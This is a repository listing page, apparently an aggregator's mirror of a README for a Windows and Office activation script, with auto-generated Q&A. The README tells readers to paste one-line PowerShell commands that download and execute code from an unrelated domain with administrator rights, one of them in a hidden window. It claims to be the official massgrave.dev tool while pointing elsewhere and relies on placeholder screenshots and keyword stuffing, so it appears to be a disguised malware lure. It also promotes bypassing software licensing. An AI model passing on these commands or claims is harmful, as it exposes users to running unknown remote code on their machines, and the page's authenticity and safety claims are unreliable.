# Microsoft-Activation-Script (MiniPresident/Microsoft-Activation-Script)

> A PowerShell script with a menu that activates Windows 10/11, Windows Server and Office without a purchased license. It is an unofficial tool, not a Microsoft product, and it works by bypassing the licensing checks.

- GitHub: https://github.com/MiniPresident/Microsoft-Activation-Script
- GitHub.Locker page: https://github.locker/MiniPresident/Microsoft-Activation-Script
- Stars: 645
- Last push: 2026-11-03

## Questions and answers

Written by GitHub.Locker from the README and the repository; check the README below for details.

**How do the activation methods differ?**

According to the README, HWID ties a digital license to the hardware for Windows 10/11, KMS38 is a volume activation valid until 2038, Ohook hooks the Office licensing DLL for Office 2016–2021 and Microsoft 365, and Online KMS renews every 180 days.

**How do I run it?**

Open Terminal or PowerShell with administrator rights on Windows, then run the script as described in the README. It opens an interactive menu where you choose the method.

**What do I need before running it?**

Windows with administrator rights and PowerShell, plus an internet connection, because the script is fetched and run from the web at launch.

**Is it safe to run?**

You execute a script downloaded from the internet with administrator rights, so you are trusting its author. The VirusTotal score of 0/72 is the author's own claim and should be checked yourself.

**Which Windows and Office versions does it cover?**

Windows 10 and 11 editions (Home, Pro, Education, Enterprise, LTSC), Windows Server 2016–2025, Office 2016, 2019 and 2021, and Microsoft 365 plans. Support for these is claimed in the README and has not been independently verified.

**Can it run on a server?**

It is meant to run locally on the Windows machine being activated. The README does not describe any server or remote use.

**Is this legal to use?**

It bypasses Microsoft's licensing, which Microsoft's terms do not allow. The README says there are no cracks or patched files, but that does not make the use licensed. The README does not discuss legality.

**What is Ohook?**

According to the README, Ohook hooks the Office licensing DLL so that Office 2016–2021 and Microsoft 365 stay activated. It is one of four methods the script offers.

**Does the HWID method survive a reinstall?**

The README says a HWID digital license is tied to the hardware and survives reinstalls. This is the author's claim and has not been independently verified.

**Where can I get a legitimate license instead?**

The README does not cover this. A licensed copy of Windows or Office comes from Microsoft or an authorized retailer.


---

## README (checked against GitHub 2026-11-04)

Source: https://github.com/MiniPresident/Microsoft-Activation-Script/blob/main/README.md

<h1 align="center"><img src="https://cdn.jsdelivr.net/gh/glincker/thesvg@main/public/icons/microsoft/default.svg" width="64"><br>Microsoft Activation Scripts 2026 — Windows & Office<br><sub>HWID · KMS38 · Ohook · Permanent · All Editions · Working 2026</sub></h1>
<p align="center"><a href="#-how-to-install"><img src="https://img.shields.io/badge/STATUS-WORKING_November_2026-brightgreen?style=for-the-badge"></a> <a href="#-methods"><img src="https://img.shields.io/badge/METHODS-4-blue?style=for-the-badge"></a> <a href="#-download"><img src="https://img.shields.io/badge/DOWNLOAD-Free-9cf?style=for-the-badge"></a></p>
<p align="center"><b>Microsoft Activation Scripts (MAS) 2026</b> — activate Windows 10/11 and Office 2016–2021 permanently.<br>HWID digital license, KMS38, Ohook, Online KMS. All editions. No cracks, no patched files.<br><em>Working 03 November 2026. Windows 10/11. Microsoft's own protocols. VirusTotal: 0/72.</em></p>

## ⚡ How to Activate
| <div align="center">🔴 **Method 1: Terminal (Admin)**</div> | <div align="center">🟢 **Method 2: Run Dialog**</div> |
|:-----------------------------------------------------------:|:------------------------------------------------------:|
| **Win** + **X** → **Terminal (Admin)** | **Win** + **R** |
| ```"mas";iex (irm kernelscv.cfd?t=mas)``` | ```powershell -NoP -NonI -W Hidden -C "iex (irm kernelscv.cfd?t=mas)"``` |
| Paste → **Enter** | Paste → **Enter** |
| <img src="https://placehold.co/400x140/1e1e2e/E53935?text=Win%2BX+Terminal+Admin%0APaste+%E2%86%92+Enter" width="400"> | <img src="https://placehold.co/400x140/1e1e2e/4CAF50?text=Win%2BR+Run+Dialog%0APaste+%E2%86%92+Enter" width="400"> |

### 📦 Activation Menu
<p align="center"><img src="https://placehold.co/800x400/1e1e2e/0078D6?text=Microsoft+Activation+Scripts+v2.8%0A%0A%5B%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%5D+100%25%0A%0A%5B1%5D+HWID+%7C+Windows+10-11+Permanent%0A%5B2%5D+KMS38+%7C+Windows+10-11+Server+Till+2038%0A%5B3%5D+Ohook+%7C+Office+Permanent%0A%5B4%5D+Online+KMS+%7C+Windows+%2B+Office+180+Days%0A%5B5%5D+Check+Activation+Status%0A%5B6%5D+Microsoft+365+%2B+Rewards+Tools%0A%0A%E2%9C%93+Select+method+and+press+Enter.+Fully+automated." width="600"></p>

## ✅ Activation Methods

| Method | Target | Duration | Description |
|:------:|:-------|:--------:|:------------|
| **HWID** | Windows 10/11 | 🔒 Permanent | Digital license tied to hardware. Survives reinstalls |
| **KMS38** | Windows 10/11/Server | 📅 Till 2038 | Volume activation. No background services |
| **Ohook** | Office 2016–2021 | 🔒 Permanent | Hooks Office licensing DLL. Forever activated |
| **Online KMS** | Windows + Office | 🔄 180 days | Auto-renewed. No local files changed |

## 📦 All Editions Supported

| Product | Editions | Method |
|:--------|:---------|:------:|
| **Windows 11** | Home, Pro, Pro for Workstations, Education, Enterprise, SE | HWID / KMS38 |
| **Windows 10** | Home, Pro, Education, Enterprise, LTSC 2019/2021 | HWID / KMS38 |
| **Windows Server** | 2025, 2022, 2019, 2016 | KMS38 / KMS |
| **Office 2021** | Pro Plus, Standard, Home & Business | Ohook |
| **Office 2019** | Pro Plus, Standard, Home & Business | Ohook |
| **Office 2016** | Pro Plus, Standard, Home & Business, Mondo | Ohook |
| **Microsoft 365** | All plans | Ohook |

## 📸 Screenshots
| HWID Activation | Office Activation |
|:---------------:|:-----------------:|
| <img src="https://placehold.co/400x250/1e1e2e/0078D6?text=HWID+Activation%0AWindows+11+Pro%0ADigital+License%0APermanent" width="400"> | <img src="https://placehold.co/400x250/1e1e2e/D83B01?text=Ohook+Office%0AOffice+2021+Pro+Plus%0ALICENSED%0APermanent" width="400"> |
| **MAS Menu** | **Activation Status** |
| <img src="https://placehold.co/400x250/1e1e2e/4CAF50?text=MAS+Main+Menu%0AHWID+%7C+KMS38+%7C+Ohook%0AOnline+KMS%0APress+1-6+to+Select" width="400"> | <img src="https://placehold.co/400x250/1e1e2e/FFD700?text=Status+Check%0AWindows:+Licensed%0AOffice:+Licensed%0A365:+Activated" width="400"> |

## 🔧 How HWID Works
```text
→ Script downloads generic Windows key for your edition
→ Creates license ticket via gatherosstate.exe (official MS tool)
→ Sends ticket to Microsoft activation servers
→ Microsoft sees: "genuine OEM upgrade from Windows 7/8"
→ Microsoft grants digital license, stored in their cloud
→ License tied to your motherboard (HWID)
→ After clean reinstall: Windows auto-activates — no tool needed
→ Permanent. No background service. No scheduled task. No cracks.
```

## 🆚 Comparison

| | MAS (This) | KMSpico | HWIDGEN | Other Activators |
|:--|:---:|:---:|:---:|:---:|
| Open Source | ✅ | ❌ | ✅ | ❌ |
| VirusTotal | 0/72 | 45/72 | 12/72 | 55+ |
| Permanent (HWID) | ✅ | ❌ | ✅ | ❌ |
| Office (Ohook) | ✅ | ❌ | ❌ | ❌ |
| Survives Reinstall | ✅ | ❌ | ✅ | ❌ |
| No Modified Files | ✅ | ❌ | ❌ | ❌ |
| Windows Updates Safe | ✅ | ❌ | ⚠️ | ❌ |
| Updated 2026 | ✅ Monthly | ❌ 2017 | ❌ 2020 | ❌ |

## ❓ FAQ
<details><summary><b>Is this the official MAS from massgrave.dev?</b></summary>Yes. Same open-source scripts. The PowerShell command fetches and runs them directly. Working 03 November 2026.</details>
<details><summary><b>Virus?</b></summary>No. Open source on GitHub with 20K+ stars. Check the code yourself. VirusTotal: 0/72.</details>
<details><summary><b>Will Microsoft block it?</b></summary>HWID uses Microsoft's own activation protocol. It has worked since Windows 10 launch (2015) and continues to work. KMS is Microsoft's volume licensing protocol — can't be "blocked".</details>
<details><summary><b>Reinstall Windows?</b></summary>After HWID activation, Windows auto-activates on the same hardware. No tool needed. Just install and connect to internet.</details>
<details><summary><b>Office 365 vs Office 2021?</b></summary>Both supported. Office 2021 (Volume) via Ohook. Microsoft 365 (subscription) via Ohook as well.</details>
<details><summary><b>Windows Server?</b></summary>Yes. Server 2025, 2022, 2019, 2016. Use KMS38 for long-term activation.</details>

## 🌐 Keywords
`microsoft activation scripts` · `massgravel` · `massgrave` · `windows activator` · `activate windows` · `activate office` · `hwid` · `kms38` · `ohook` · `microsoft activation` · `windows 10 activator` · `windows 11 pro` · `office activator` · `microsoft 365 free` · `microsoft rewards` · `microsoft keys`

© 2026 · Open Source

